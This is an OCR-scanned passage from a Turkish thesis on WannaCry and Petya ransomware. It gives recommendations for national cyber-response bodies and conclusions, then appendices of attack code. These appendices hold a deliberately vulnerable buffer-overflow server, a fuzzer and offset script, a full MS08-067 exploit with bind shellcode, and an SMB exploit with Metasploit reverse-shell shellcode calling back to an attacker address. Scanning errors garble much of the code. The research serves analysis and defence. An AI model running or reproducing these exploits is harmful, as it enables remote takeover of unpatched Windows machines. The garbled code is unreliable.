e Siber saldirilarda kullanilan teknik bilesenlerin tespiti ve bu bilesenlere ISP’lerin
altyapilar1 tizerinden aktif-aktif sistem ile miidahale etmek (6rnek olarak saldirida
kullanilan spesifik bir DNS'in olmast durumunda tespit edilip bu DNS adresine giden
trafiklerin filtrelenmesi ve engellenmesi gibi.)

e 0. giin acikliklarin1 kullanan saldirilarin en kisa siirede etkiledigi sistemlerin tespit
edilmesi, Ulkemizde ki etki alanlarinin gikarilmasi akabinde zararli yazilimlar sistemleri
etkilemeden gerekli bilgilendirme ve giincellemeler yapilarak saldiridan minimum zararla
kurtulmanin saglanmasi,

e USOM yapisi icerisinde fidye yazilimlari gibi zararli yazilimlar: dinamik ve statik olarak
analiz edip satir satir inceleyerek, etkisini minimize edecek yaklagimlar gelistirecek
ekibin olusturulmasi, bir bagka deyimle zararli yazilimin ¢ikis ve dagilis kaynaklarinin
tespit edilmesi ve miidahale edilmesi,

e USOM tarafindan siber saldirilardan etkilenen kullanicilarin aktif sistem tlizerinden tespit
edilerek, saldirida kullanilan komuta kontrol merkezinin IP adresinin veya ara
sunucularin IP adreslerinin bulunmasi ve engellenmesi,

e Siber olaylar izleyebilecek, analiz edebilecek ve acil durum planlan iiretebilecek
merkezlerin kurulmasi,

e SOME yapilaria ait sistemlerin USOM tarafindan kisa periyotlar ile denetlenmesi,
giivenlik testlerine tabi tutulmasi ve SOME personelinin teknik kapasitesinin test edilerek
gerekmesi durumunda egitim verilmesi gerekmektedir. Ayrica USOM tarafindan
kararlilikla yiiriitilen Toplumsal farkindalik agisindan saldirillarm, siber giivenlik
merkezleri tarafindan duyurulmast ve farkindalik saglanma ¢aligmalarina devam

edilmesinin 6nemli oldugu degerlendirilmektedir.

Yukarida belirtilen madddeler genel olarak verilmis oOrneklerdir. Sirastyla saldir

gerceklesirken;
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Siber saldirinin tespiti
zararli yazilimin analizi
Etki alanlarinin tespiti

Kullanilan sistemlerin tespiti

o~ w P

Komuta kontrol merkezi, kullanilan IP adresleri, DNS bilgileri, arka kap1 baglantis1 kurmak
icin kullanilan kod pargaciklarinin tespiti gibi teknik verilerin tespiti

6. Saldiridan etkilenecek kullanicilarin tespiti

7. Saldirinin engellenmesi

8. Giivenlik 6nlemlerinin alinmasi

islemlerinin en kisa siirede yapilmasinin  veya tamamlanmasmin  gerektigi

degerlendirilmektedir.

Genel olarak iilkemizde bu konuda gerek mezun kaynagi gerekse bu konuda yararlanilan
kaynaklar kisithdir. Ulkemizde bu konunun kapsamli olarak ele alinmasi ve yeni nesil
saldirilarin 6nlenmesine yonelik olarak daha kapsamli ¢alisma yapilacak ortamlar kurulmalt

ve yayginlastirilmalidir.
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8. SONUC

Bu tez ¢alismasinda; WannaCry ve Petya fidye yazilimlar ile fidye yazilim metodolojileri,

bunlarin tehdit boyutu, verdigi zararlar, kullanilan teknik ve teknolojiler irdelenmis, kod

parcaciklari, exploit gelistirme dongiisti, saldirganlarin kullandig1 sistematik ve kullanilan

metodolojiler gozden gecirilmistir. Fidye saldirilarinin anlagilmasi ve belirli bir sistem

igerisinde test edilmesi i¢in kontrollii test ortami olusturularak, zararli yazilimlar iizerinde

statik ve dinamik analizler yapilmustir.

Yapilan kapsamli analiz ve ¢alismalardan;

1.
2.

Lab ortaminda exploit gelistirilmis, zararli yazilim analiz yaklagimi aktarilmistir.

0. Giin agikliklarinin fidye saldirilarinda kullanilmasiyla ge¢miste alinmis giivenlik
Onlemlerinin etkisiz kaldig1 ve yeni 6nlemlerin alinmasi gerektigi vurgulanmistir.

SMB agikliklar1 ve saldirilarda kullanilma yaklagimlari aktarilmistir.

Fidye saldirilarinda 6deme islemlerinin nasil gerceklestigi, kripto para yaklasimi,
bitcoin kavrami ve neden saldirganlar tarafindan 1srarla tercih edildigi belirtilmistir.
Fidye yazilimlar ile gergeklesen siber saldirilarin diinya genelindeki finansal, kiiltiirel
ve istihbari etkisinden bahsedilmis ve saldirilarin tercih nedenleri belirtilmistir.
WannaCry ve Petya zararli yazilimlarinin hangi agikliklar: kullandigi, hangi arka kapi
baglantilarini icerdigi, bu kod pargaciklarinin saldiridan korunma noktasinda nasil
kullanilabilecegi, sifreleme altyapisinin neler oldugu, yayilma yaklagimlart ve

metodolojileri analiz edilmis ve etki alanlarinin nasil tespit edilecegi aktarilmigtir.

Yapilan caligsmalar ise genel ve 6zel olmak tizere 2 baslik altinda degerlendirilmistir.

Yapilan ¢aligmalar genel olarak degerlendirildiginde asagidaki bulgular elde edilmistir.

1-

WannaCry ve Petya fidye yazilimlari, metodolojileri ve korunma yontemlerine ait
literatiirde yeteri kadar akademik ¢alisma bulunmamaktadir. Bu saldirilara ait
calismalara daha ¢ok karanlik (dark) ve derin webte, bloglarda, giivenlik sirketlerinin
web sayfalarinda rastlanmaktadir. Bu tiir ¢alismalara agirlik verilmeli ve
yayimlanmalidir.

Ulkemizde yapilan ¢alismalarin ¢ok kisitli oldugu, haber ve duyurulardan 6te gitmedigi,

bu saldirilar1 analiz edebilecek yeterli bilgi birikimi ve deneyime sahip olunmadigi,
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akademik camianin konuya ilgisiz oldugu goriilmiistiir. Bu konuya ve iilke bilgi birikimi
ve yeteneginin arttirilmasina yonelik ¢aligmalar yapilmalidir.

3- Fidye yazilimlar1 gibi siber saldirilara karsi lilkemizde alinan 6nlemlerin artan tehdit
vektorleri dikkate alindiginda yeterli olmadig1 ve buna uygun ¢oéziimler gelistirilmedigi
goriilmiistiir. Bunun artirilmasina yonelik yapilar, isbirlikleri veya ar-ge ortamlari
olusturulmalidir.

4- Ulkemizde fidye yazilimlarma kars1 alinmasi1 gereken dnlemlere yonelik egitimlerin
yeterli diizeyde olmadig goriilmiistiir. Fidye yazilim metodolojilerini anlama, dinamik
ve statik incelemesi ve karst ¢ozlimler gelistirme konusunda siber giivenlik uzmani

yetistirmesine yonelik daha yogun ¢alismalar yapilmalidir.

Daha 6zel olarak incelendiginde;

1. Kurumlarin, etkisi her gegcen giin artan siber saldirilara karsi etkin ve kontrol
mekanizmali 6nlemler almasi gerektigi,

2. Ulkemize yonelik gerceklesen siber saldirilarin tespiti ve engellenmesi amaciyla,
internet trafigi iizerinde zararli yazilimlarin davranislarinin analiz edilebilecegi ve
aksiyonlarin alinabilecegi mekanizmanin énemli oldugu,

3. Zararli yazilimlarin takibi ve engellenmesi konusunda detayli bir plana ihtiyag
duyuldugu, her vatandasin gergeklesecek saldirilardan korunmasi veya en diisiik zararla
kurtulmasi noktasinda genis katilimli yaklasimlarin gelistirilebilecegi,

4. Ulkemize ydnelik gerceklesen fidye saldirilarinin en kisa siirede tespit edilmesi icin,
davranigsal analiz modelleri iiretilmesi ve canli veri tizerinde alarm iiretebilecek hale
getirilmesinin 6nemli oldugu,

degerlendirilmektedir.

Karsilasilan giicliikler;

1. USOM tarafindan alinan dnlemlerin ve iilkemize yonelik tehditlerin boyutu net olarak
bilinmediginden daha somut ve kapsamli ¢6ziim Onerileri sunulmamastir.

2. Yapilacak analiz ve testler i¢in kontrollii test ortamlarinin olusturulmasi, fidye
yazilimlarinin ve tehditlerinin detay analizlerinin yapilabilmesi i¢in uygun verilerin
olusturulmasi ve bulunmasi, test ortaminda gergeklestirilen WannaCry ve Petya test
saldirilarini olusturma teknik olarak ¢ok ugrastiran konular igerisindedir.

3. Saldirilarda kullanilan TOR ag yapisindan kaynakli olarak, K&K sunucular1 ve ara

sunucu IP adreslerinin tespiti analiz ¢alismasinda karsilasilan en biiyiik zorluktur.
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Ayni zararl yazilimin birgok farkli zamanda farkli varyanslari tizerinden saldirilarin
gerceklesmesi sebebiyle, saldirmin ilk ¢ikis noktasinin, yayilma yaklasiminin, kod

bazinda evriminin tespiti zorlagmaktadir.

Gelecek caligsmalar;

1.

Tez g¢aligmasinda Onerilen ag topolojilerinin kurumsal yapilara uygunlugu, gercek
kullanicilarin  olusturdugu zaafiyetler ve kritik saldirilara karsi basarimima gore
sekillenecektir. Bu ag yapis1t USOM’da denenmeli veya test edilmelidir.

USOM ve SOME yapilarinda sunulan yaklagimlarin ne kadarimin kullanildig
bilinmediginden, bu tez ¢alismasinda sunulan 6nerilerin gozden gegirilmesi, daha dogru
ve somut ¢ozlimlerin gelistirilmesine katki saglayacaktir.

Sunulan yaklagimlarin ilgili birimler tarafindan irdelenmesi ve ulusal giivenlige katkisi
incelenmelidir.

WannaCry ve Petya fidye saldirilarin analizi esnasinda tespit edilen zararli kod parcacigi
ve yaklagimlar kullanilarak, gelecekte olmasi muhtemel bir fidye saldirisinin Oniine
gecebilecek Onlemlerin teknik olarak tespit edilmesine yonelik calismalar yapilmalidir.
Genis kapsamli internet verisi lizerinde 6nerilen davranis analizi yaklagimi kullanilarak
elde edilen veriler kapsaminda saldir1 tespit ve engelleme yaklasimlar1 gelistirilmeli ve

onerilen yaklagimlar giincellenmelidir.
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EK-1. CPP dili ile yazilmis basit bir telefon defteri programi

#include <winsock2.h>
#include <windows.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <stdio.h>

int input_copy(char *myinput){
char bovariable[10];
strcpy(bovariable,myinput);
return 0;

}
DWORD WINAPI SocketHandler(void*);
int main(int argv, char** argc){

/[The port you want the server to listen on
int host_port= 1101,
int addr_size = sizeof(SOCKADDR);

/lnitialize socket support WINDOWS ONLY!

unsigned short wVersionRequested;

WSADATA wsaData;

interr;

wVersionRequested = MAKEWORD( 2, 2 );

err = WSAStartup( wVersionRequested, &wsaData );

if (err 1= 0 || (LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) 1=2)) {

fprintf(stderr, "Could not find useable sock dll %d\n",WSAGetLastError());
goto FINISH;
}

/lnitialize sockets and set any options
int hsock;
int * p_int;
hsock = socket(AF_INET, SOCK_STREAM, 0);
if(hsock == -1){
printf(“Error initializing socket %d\n",WSAGetLastError());

goto FINISH;
}
p_int = (int*)malloc(sizeof(int));
*p_int=1;

if( (setsockopt(hsock, SOL_SOCKET, SO_REUSEADDR, (char*)p_int, sizeof(int)) == -1)||
(setsockopt(hsock, SOL_SOCKET, SO_KEEPALIVE, (char*)p_int, sizeof(int)) == -1) )}{

printf("Error setting options %d\n", WSAGetLastError());
free(p_int);
goto FINISH;

}
free(p_int);

//Bind and listen
struct sockaddr_in my_addr;

my_addr.sin_family = AF_INET ;
my_addr.sin_port = htons(host_port);

memset(&(my_addr.sin_zero), 0, 8);
my_addr.sin_addr.s_addr = INADDR_ANY ;

if( bind( hsock, (struct sockaddr*)&my_addr, sizeof(my_addr)) == -1 ){

fprintf(stderr,"Error binding to socket, make sure nothing else is listening on this port

%d\n",WSAGetLastError());
goto FINISH;

}

if(listen( hsock, 10) == -1 ){
fprintf(stderr, “Error listening %d\n", WSAGetLastError());
goto FINISH;
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}
/INow lets to the server stuff
int* csock;
sockaddr_in sadr;
while(true){
printf("waiting for a connection\n");
csock = (int*)malloc(sizeof(int));
if((*csock = accept( hsock, (SOCKADDR*)&sadr, &addr_size))!= INVALID_SOCKET ){
printf("Received connection from %s",inet_ntoa(sadr.sin_addr));
CreateThread(0,0,&SocketHandler, (void*)csock , 0,0);
}
else{
fprintf(stderr, "Error accepting %d\n",WSAGetLastError());
}
FINISH:
}

DWORD WINAPI SocketHandler(void* Ip){
int *csock = (int*)Ip;

char buffer[1000000];
int buffer_len = 1000000;
int bytecount;

if((bytecount = recv(*csock, buffer, buffer_len, 0))==SOCKET_ERROR){
fprintf(stderr, "Error receiving data %d\n", WSAGetLastError());
goto FINISH;

}

printf("Received bytes %d\nReceived string \"%s\"\n", bytecount, buffer);

input_copy(buffer);//the vulnerable command
strcat(buffer, " SERVER ECHO");

if((bytecount = send(*csock, buffer, strlen(buffer), 0))==SOCKET_ERROR){
fprintf(stderr, "Error sending data %d\n", WSAGetLastError());
goto FINISH;

}
printf(“Sent bytes %d\n", bytecount);

FINISH:
free(csock);
return 0;
}
}
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EK-2. Fuzzing kod pargacigi

def connect({):

global s
s = socket.socket({socket.AF INET, socket.SOCK STREAM)
try:
s.connect((sys.argv[1], 1101})
except:
print "connection failed [!]"

def fuzzer():

fuzz = [1
counter = 0

while (len{fuzz) == 108):

counter += 10808
fuzz.append("\x41" * counter)

for crash in fuzz:
print "sending evil bytes wait and control EIPYn"
s.send{crash)

s.close()

def main():
connect()
fuzzer()
main()
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EK-3. Offset kod parcacigi

#!/usr/bin/env python

import socket

import sys

def connect():

global s

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
try:

s.connect((sys.argv[1], 1101))

except:

print **connection failed [']"

def offset():

boom =
AalAalAa2Aa3AadAabAabAa7’Aa8Aa9Ab0Ab1Ab2Ab3Ab4AD5Ab6AD7ADSADIAC
O0AC1AC2Ac3AC4ACSAC6ACTACBACIAdOAdIAdA!
s.send(boom)

def main():
connect()
offset()
main()
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EK-4. MS08 067 NETAPI agiklig1 exploit kodu [60]

#include "stdafx.h"
#include <winsock2.h>
#include <Rpc.h>
#include <stdio.h>
#include <stdlib.h>

#ipragma comment (1ib, "mpr")
#pragma comment(lib, "Rpcrtd")
#pragma comment (1lib, "ws2_32")

structRPCBIND

{
BYTEVerMaj ;
BYTEVerMin;
BYTEPacketType;
BYTEPacketFlags;
DWORDDataRep;
WORDFragLength;
WORDAuthLength;
DWORDCalllD;
WORDMaxXmitFrag;
WORDMaxRecvFrag;
DWORDAssocGroup;
BYTENumCtxItems;
WORDContextID;
WORDNumTransItems;
GUID InterfaceUUID;
WORDInterfaceVerMaj;
WORDInterfaceVerMin;
GUID TransferSyntax;
DWORDSyntaxVer;

};

structRPCFUNC
{
BYTEVerMaj;
BYTEVerMin;

BYTEPacketType;
BYTEPacketFlags;
DWORDDataRep ;
WORDFragLength;
WORDAuthLength;
DWORDCalllD;
DWORDAllocHint;
WORDContextID;
WORDOpnum;

};

BYTEPRPC[0x48] = {
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0xD9, 0x2E, OxF5,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00} ;

BYTEEXPLOIT[] =

"\x05\x00"
"\x00\x03\x10\x00\x00\x00\xA4\x00\x00\x00\x01\x00\x00\x00\x94\x00"
"\x00\x00\x00\x00\x1£\x00"

"\x00\x00\x00\x00"
"\x2F\x00\x00\x00\x00\x00\x00\x00\x2F\x00\x00\x00"
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"\x5c\x00"
"\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

"\x41\x41"

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"

"\x12\x45\xfa\x7£f" // jmp esp

"\x90\x8B\xF4\x81"
"\x3E\x90\x90\x90\x90\x74\x04\x4E\x4E\xEB\xF4\x33\xC9\x33\xDB\xB1"
"\x01\xC1\xE1\x09\x8B\xFC\x4B\xC1\xE3\x0D\x23\xFB\x57\xF3\xA4\x5F"

// "\xB1l\x01\xCl\xE1l\x09\x2B\xXE1\xFF\xE7\x41\x41\x41\x41\x41\x41\x41"

"\x83\xEC\x70\x90\x90\x90\x90\xFF\xE7\x41\x41\x41\x41\x41\x41\x41"

"\x00\x00\x00\x00\x01\x00"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00"
"\x00\x00"

"\x01\x00\x00\x00\x01\x00\x00\x00";

BYTEPOP[] =//stub header RPCFUNC structure

"\x05\x00"
"\x00\x03\x10\x00\x00\x00\xE4\x01\x00\x00\x01\x00\x00\x00\xD4\x01"
"\x00\x00\x00\x00\x1£\x00"

"\x00\x00\x00\x00"
"\xCF\x00\x00\x00\x00\x00\x00\x00\xCF\x00\x00\x00"

"\x5c\x00"
"\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xCC\x41"

"\x00\x00\x00\x00\x01\x00"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00"
"\x00\x00"

"\x01\x00\x00\x00\x01\x00\x00\x00" ;

unsigned charbind shellcode[] =

// "\xccr

// "\x83\xEC\x40" // sub esp, 0x70
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad"
"\x07\xe6\x4a\x83\xeb\xfc\xe2\x£f4\x51\x6d\x0d\x07\x45\x£fe\x19\xb5"
"\x52\x67\x6d\x26\x89\x23\x6d\x0£f\x91\x8c\x9%9a\x4£f\xd5\x06\x09\xcl"
"\xe2\x1£f\x6d\x15\x8d\x06\x0d\x03\x26\x33\x6d\x4b\x43\x36\x26\xd3"
"\x01\x83\x26\x3e\xaa\xc6\x2c\x47\xac\xc5\x0d\xbe\x96\x53\xc2\x62"
"\xd8\xe2\x6d\x15\x89\x06\x0d\x2c\x26\x0b\xad\xcl\xf2\x1lb\xe7\xal"
"\xae\x2b\x6d\xc3\xcl\x23\xfa\x2b\x6e\x36\x3d\x2e\x26\x44\xd6\xcl"
"\xed\x0b\x6d\x3a\xbl\xaa\x6d\x0a\xa5\x59\x8e\xc4\xe3\x09\x0a\xla"
"\x52\xd1\x80\x19\xcb\x6£\xd5\x78\xc5\x70\x95\x78\x£2\x53\x19\x9%9a"
"\xc5\xcc\x0b\xb6\x96\x57\x19\x9c\xf2\x8e\x03\x2c\x2c\xea\xee\x48"
"\x£f8\x6d\xed4\xb5\x7d\x6£\x3f\x43\x58\xaa\xbl\xb5\x7b\x54\xb5\x19"
"\xfe\x54\xa5\x19\xee\x54\x19\x9a\xcb\x6f\xf7\x16\xcb\x54\x6f\xab"
"\x38\x6£\x42\x50\xdd\xc0\xbl\xb5\x7b\x6d\x£f6\x1b\x£8\xf8\x36\x22"
"\x09\xaa\xc8\xa3\xfa\xf8\x30\x19\x£f8\xf8\x36\x22\x48\x4e\x60\x03"
"\xfa\x£f8\x30\x1a\x£f9\x53\xb3\xb5\x7d\x94\x8e\xad\xd4\xcl\x9£\x1d"
"\x52\xd1\xb3\xb5\x7d\x61\x8c\x2e\xcb\x6f\x85\x27\x24\xe2\x8c\xla"
"\xf4\x2e\x2a\xc3\x4a\x6d\xa2\xc3\x4£\x36\x26\xb9\x07\x£9\xa4\x67"
"\x53\x45\xca\xd9\x20\x7d\xde\xel\x06\xac\x8e\x38\x53\xb4\x£f0\xb5"
"\xd8\x43\x19\x9c\x£6\x50\xb4\x1b\xfc\x56\x8c\x4b\xfc\x56\xb3\x1b"
"\x52\xd7\x8e\xe7\x74\x02\x28\x19\x52\xd1\x8c\xb5\x52\x30\x19\x9%a"
"\x26\x50\x1a\xc9\x69\x63\x19\x9c\x££\x£8\x36\x22\x42\xc9\x06\x2a"
"\xfe\x£f8\x30\xb5\x7d\x07\xe6\x4a";

intBindRpcInterface (HANDLEPH, char*Interface, char*InterfaceVer)

{
BYTErbuf [0x1000]="";
DWORDdw=0 ;
structRPCBIND RPCBind;

memcpy (&RPCBind, &PRPC, sizeof (RPCBind)) ;

UuidFromString ( (unsigned char*) Interface, &RPCBind.InterfaceUUID) ;

UuidToString (&§RPCBind.InterfaceUUID, (unsigned char**) &Interface) ;

RPCBind.InterfaceVerMaj=atoi (&InterfaceVer|[0]) ;

RPCBind.InterfaceVerMin=atoi (&InterfaceVer[2]) ;

TransactNamedPipe (PH, &RPCBind, sizeof (RPCBind), rbuf, sizeof (rbuf),
NULL) ;

returnO;

}

intmain (intargc, char* argv[])

{
char*server;
NETRESOURCE nr;
charunc[MAX PATH];
charszPipe [MAX PATH] ;
HANDLEhFile;
WSADATA wsa;

intbwritten=0;

&dw,
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BYTErbuf [0x100]="";
DWORDAdw ;
PVOID ptr = (PVOID)&POP;

printf( "\tMS08-067 Remote Stack Overflow Vulnerability Exploit (POC)\n\n") ;
printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/10/27\n") ;
printf( "Thanks isno and PolyMeta\n") ;

printf( "ShellCode Function: bindshell port:4444\n");

printf( "usage:\n%s [IP]\n", argv[0] );

if( argec !'= 2 ) {

returnO;

}
if ( WSAStartup (MAKEWORD (2,2) ,&wsa) != 0 ) {

printf( "WSAStartup failed\n");
returnO;

}

memcpy ( (char*)ptr + 74, bind_shellcode, sizeof (bind_shellcode)-1) ;

server=argv[1l];

_snprintf (unc, sizeof (unc), "\\\\%s\\pipe", server);
unc[sizeof (unc)-1] = 0;

nr.dwType = RESOURCETYPE_ANY;

nr.lpLocalName = NULL;

nr.lpRemoteName = unc;

nr.lpProvider = NULL;

printf( "connect %s ipc$ .... ", server );
if ( WNetAddConnection2 (&nr, "", "", 0) '= 0 ) {

printf( "failed\n") ;
returnO;
} else{

printf( "success!\n");

}

_snprintf (szPipe, sizeof(szPipe),"\\\\%s\\pipe\\browser", server) ;
printf( "open \\\\%s\\pipe\\browser ....", server );
hFile = CreateFile( szPipe,

GENERIC_READ|GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING, 0, NULL);
if ( hFile == (HANDLE)-1 ) {

printf( "failed!'\n");
returnO;
} else{

printf( "success!\n");

printf( "Bind Rpc 4b324fc8-1670-01d3-1278-5a47bf6eel88 Interface\n") ;
BindRpcInterface (hFile, "4b324£fc8-1670-01d3-1278-5a47bf6eel88","3.0") ;

printf( "Send shellcode ....\n");
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TransactNamedPipe (hFile, (PVOID)&POP, sizeof (POP) - 1, rbuf, sizeof (rbuf),
&dw, NULL) ;

printf( "Send Exploit ...... \n") ;

TransactNamedPipe (hFile, (PVOID)&EXPLOIT, sizeof (EXPLOIT) - 1, rbuf,
sizeof (rbuf), &dw, NULL) ;

CloseHandle ( hFile ) ;

returnO;
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#!/usr/bin/python

import tempfile

import sys

import subprocess

from socket import socket

from time import sleep

from smb.SMBConnection import SMBConnection

try:

target = sys.argv[1]

except IndexError:
print "\nUsage: %os <target ip>\n' % sys.argv[0]
print 'Example: MS36299.py 192.168.1.1 1\n*
sys.exit(-1)

#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77
LPORT=443 EXITFUNC=thread -f python

shell = """

shell += ""\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"*  #fce8820000006089e531c0648b
shell += ""\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x 72\x28\x0f\xb 7**
shell += ""\x4a\x26\x31\xff\xac\x3c\x61\x7¢\x02\x2c\x20\xc1\xcf"*
shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c""
shell += ""\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01""
shell += ""\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"*
shell += "\xffixac\xc1\xcf\x0d\x01\xc7\x38\xe0\x 75\xf6\x03\x7d"*
shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"*
shell += ""\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"*
shell += ""\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51 \xff\xe0\x5f"*
shell += ""\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"*
shell += ""\x77\x73\x32\x5f\x54\x68\x4¢c\x77\x26\x07\xff\xd5\xb8"*
shell += ""\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00""
shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01"*
shell += ""\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea""
shell += ""\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5""
shell += ""\x74\x61\xffAxd5\x85\xc0\x 74\x0a\xff\x4e\x08\x 75\xec"*
shell += ""\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02""
shell += ""\xd9\xc8\x5AxffAxd5\x83\xf8\x00\x 7e\x36\x8b\x36\x6a""
shell += ""\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53""
shell += "\xe5\xfA\Axd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"*
shell += ""\xc8\x5f\xfAAxd5\x83\xf8\x00\x 7d\x22\x58\x68\x00\x40"*
shell += ""\x00\x00\x6a\x00\x50\x68\x0b\x 2fAx0f\x30\xfA\xd5\x57"*
shell += ""\x68\x75\x6€e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"*
shell += "\x71\xfAAxfAxfAAx01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"*
shell += ""\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7¢c"*
shell += ""\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00""
shell += "\x53\xff\xd5"

host = target, 445

buff =""\x00\x00\x03\x9e\xff\x53\x4d\x42"*
buff+=""\x72\x00\x00\x00\x00\x18\x53\xc8""
buff+=""\x17\x02"" #high process ID
buff+=""x00\xe9\x58\x01\x00\x00""
buff+=""\x00\x00\x00\x00\x00\x00\x00\x00"*
buff+=""\x00\x00\xfe\xda\x00\x7b\x03\x02"*
buff+=""\x04\x0d\xdf\xff"**25
buff+=""\x00\x02\x53\x4d""
buff+=""\x42\x20\x32\x2e\x30\x30\x32\x00"*
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buff+=""\x42\x42\x42\x42""*7
buff+="\xb4\xfAxfAx3f"* #magic index
buff+=""\x41\x41\x41\x41"'*6
buff+=""\x09\x0d\xdO\xff'* #return address

#stager_sysenter_hook from metasploit

buff+=""\xfc\xfa\xeb\x1e\x5e\x68\x76\x01""
buff+=""\x00\x00\x59\x0f\x32\x89\x46\x5d""
buff+=""\x8b\x7e\x61\x89\xf8\x0f\x30\xb9""
buff+=""\x16\x02\x00\x00\xf3\xa4\xfb\xf4""
buff+=""\xeb\xfd\xe8\xdd\xff\xf\xff\x6a""
buff+=""\x00\x9c\x60\xe8\x00\x00\x00\x00""
buff+=""\x58\x8b\x58\x54\x89\x5c\x24\x24""
buff+=""\x81\xf9\xde\xcO\xad\xde\x75\x10""
buff+=""\x68\x76\x01\x00\x00\x59\x89\xd8""
buff+=""\x31\xd2\x0f\x30\x31\xc0\xeb\x31""
buff+=""\x8b\x32\x0f\xb6\x1e\x66\x81\xfb""
buff+=""\xc3\x00\x75\x25\x8b\x58\x5¢\x8d""
buff+=""\x5b\x69\x89\x1a\xb8\x01\x00\x00""
buff+=""\x80\x0f\xa2\x81\xe2\x00\x00\x10"*
buff+=""\x00\x74\x0e\xba\x00\xff\x3f\xc0"*
buff+=""\x83\xc2\x04\x81\x22\xfA\xff\xff"*
buff+=""\x7f\x61\x9d\xc3\xFAXFAXFAxFf"
